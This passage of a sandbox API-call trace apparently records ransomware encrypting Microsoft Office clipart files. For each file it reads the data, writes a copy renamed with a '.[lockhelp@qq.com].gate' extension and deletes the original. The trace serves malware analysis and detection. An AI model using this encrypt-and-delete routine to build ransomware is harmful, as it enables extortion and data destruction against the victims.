lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.430] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=19923) returned 1 [0316.430] CloseHandle (hObject=0x4b8) returned 1 [0316.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220 [0316.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.514] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.514] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.517] GetLastError () returned 0x0 [0316.517] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x4dd3, lpOverlapped=0x0) returned 1 [0316.537] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0316.538] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.538] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.538] SetEndOfFile (hFile=0x554) returned 1 [0316.538] CloseHandle (hObject=0x554) returned 1 [0316.538] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.538] SetEndOfFile (hFile=0x4f4) returned 1 [0316.541] CloseHandle (hObject=0x4f4) returned 1 [0316.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1 [0316.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.542] lstrlenW (lpString=".doc") returned 4 [0316.542] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.542] lstrlenW (lpString=".docx") returned 5 [0316.542] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1 [0316.542] lstrlenW (lpString=".pdf") returned 4 [0316.542] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.542] lstrlenW (lpString=".xls") returned 4 [0316.542] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.542] lstrlenW (lpString=".xlsx") returned 5 [0316.542] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1 [0316.542] lstrlenW (lpString=".ppt") returned 4 [0316.542] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.542] lstrlenW (lpString=".zip") returned 4 [0316.543] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.543] lstrlenW (lpString=".rar") returned 4 [0316.543] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.543] lstrlenW (lpString=".bz2") returned 4 [0316.543] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.543] lstrlenW (lpString=".7z") returned 3 [0316.543] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.543] lstrlenW (lpString=".dbf") returned 4 [0316.543] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.543] lstrlenW (lpString=".1cd") returned 4 [0316.543] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68 [0316.543] lstrlenW (lpString=".jpg") returned 4 [0316.543] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.543] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5259) returned 1 [0316.543] CloseHandle (hObject=0x4f4) returned 1 [0316.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 0x220 [0316.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.544] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.544] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.545] GetLastError () returned 0x0 [0316.545] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x148b, lpOverlapped=0x0) returned 1 [0316.640] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1490, lpOverlapped=0x0) returned 1 [0316.640] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.641] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.641] SetEndOfFile (hFile=0x554) returned 1 [0316.645] CloseHandle (hObject=0x554) returned 1 [0316.645] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.645] SetEndOfFile (hFile=0x4f4) returned 1 [0316.647] CloseHandle (hObject=0x4f4) returned 1 [0316.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099198.gif")) returned 1 [0316.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.648] lstrlenW (lpString=".doc") returned 4 [0316.648] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.648] lstrlenW (lpString=".docx") returned 5 [0316.648] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0316.648] lstrlenW (lpString=".pdf") returned 4 [0316.648] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.648] lstrlenW (lpString=".xls") returned 4 [0316.648] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.648] lstrlenW (lpString=".xlsx") returned 5 [0316.648] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0316.648] lstrlenW (lpString=".ppt") returned 4 [0316.648] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.648] lstrlenW (lpString=".zip") returned 4 [0316.648] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.648] lstrlenW (lpString=".rar") returned 4 [0316.648] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.648] lstrlenW (lpString=".bz2") returned 4 [0316.648] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.648] lstrlenW (lpString=".7z") returned 3 [0316.648] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.648] lstrlenW (lpString=".dbf") returned 4 [0316.649] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.649] lstrlenW (lpString=".1cd") returned 4 [0316.649] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0316.649] lstrlenW (lpString=".jpg") returned 4 [0316.649] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.649] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16543) returned 1 [0316.649] CloseHandle (hObject=0x4f4) returned 1 [0316.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0316.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.650] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.650] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.651] GetLastError () returned 0x0 [0316.651] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x409f, lpOverlapped=0x0) returned 1 [0316.695] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x40a0, lpOverlapped=0x0) returned 1 [0316.696] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.696] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.696] SetEndOfFile (hFile=0x554) returned 1 [0316.696] CloseHandle (hObject=0x554) returned 1 [0316.696] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.696] SetEndOfFile (hFile=0x4f4) returned 1 [0316.698] CloseHandle (hObject=0x4f4) returned 1 [0316.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString=".doc") returned 4 [0316.700] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.700] lstrlenW (lpString=".docx") returned 5 [0316.700] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0316.700] lstrlenW (lpString=".pdf") returned 4 [0316.700] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.700] lstrlenW (lpString=".xls") returned 4 [0316.700] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.700] lstrlenW (lpString=".xlsx") returned 5 [0316.700] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0316.700] lstrlenW (lpString=".ppt") returned 4 [0316.700] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString=".zip") returned 4 [0316.700] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.700] lstrlenW (lpString=".rar") returned 4 [0316.700] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.700] lstrlenW (lpString=".bz2") returned 4 [0316.700] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.700] lstrlenW (lpString=".7z") returned 3 [0316.700] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString=".dbf") returned 4 [0316.700] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString=".1cd") returned 4 [0316.700] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0316.700] lstrlenW (lpString=".jpg") returned 4 [0316.700] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0316.701] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=17854) returned 1 [0316.701] CloseHandle (hObject=0x4f4) returned 1 [0316.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0316.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.701] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.702] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.703] GetLastError () returned 0x0 [0316.703] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x45be, lpOverlapped=0x0) returned 1 [0316.771] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x45c0, lpOverlapped=0x0) returned 1 [0316.772] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.772] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.772] SetEndOfFile (hFile=0x554) returned 1 [0316.772] CloseHandle (hObject=0x554) returned 1 [0316.772] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.773] SetEndOfFile (hFile=0x4f4) returned 1 [0316.776] CloseHandle (hObject=0x4f4) returned 1 [0316.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0316.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.778] lstrlenW (lpString=".doc") returned 4 [0316.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.778] lstrlenW (lpString=".docx") returned 5 [0316.778] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0316.778] lstrlenW (lpString=".pdf") returned 4 [0316.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.778] lstrlenW (lpString=".xls") returned 4 [0316.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.778] lstrlenW (lpString=".xlsx") returned 5 [0316.778] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0316.778] lstrlenW (lpString=".ppt") returned 4 [0316.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.778] lstrlenW (lpString=".zip") returned 4 [0316.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.779] lstrlenW (lpString=".rar") returned 4 [0316.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.779] lstrlenW (lpString=".bz2") returned 4 [0316.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.779] lstrlenW (lpString=".7z") returned 3 [0316.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.779] lstrlenW (lpString=".dbf") returned 4 [0316.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.779] lstrlenW (lpString=".1cd") returned 4 [0316.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0316.779] lstrlenW (lpString=".jpg") returned 4 [0316.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.779] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=78840) returned 1 [0316.779] CloseHandle (hObject=0x4f4) returned 1 [0316.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp")) returned 0x220 [0316.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0316.780] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.780] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101856.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0316.781] GetLastError () returned 0x0 [0316.781] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x133f8, lpOverlapped=0x0) returned 1 [0316.979] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x13400, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x13400, lpOverlapped=0x0) returned 1 [0316.981] ReadFile (in: hFile=0x4f4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.981] WriteFile (in: hFile=0x554, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, 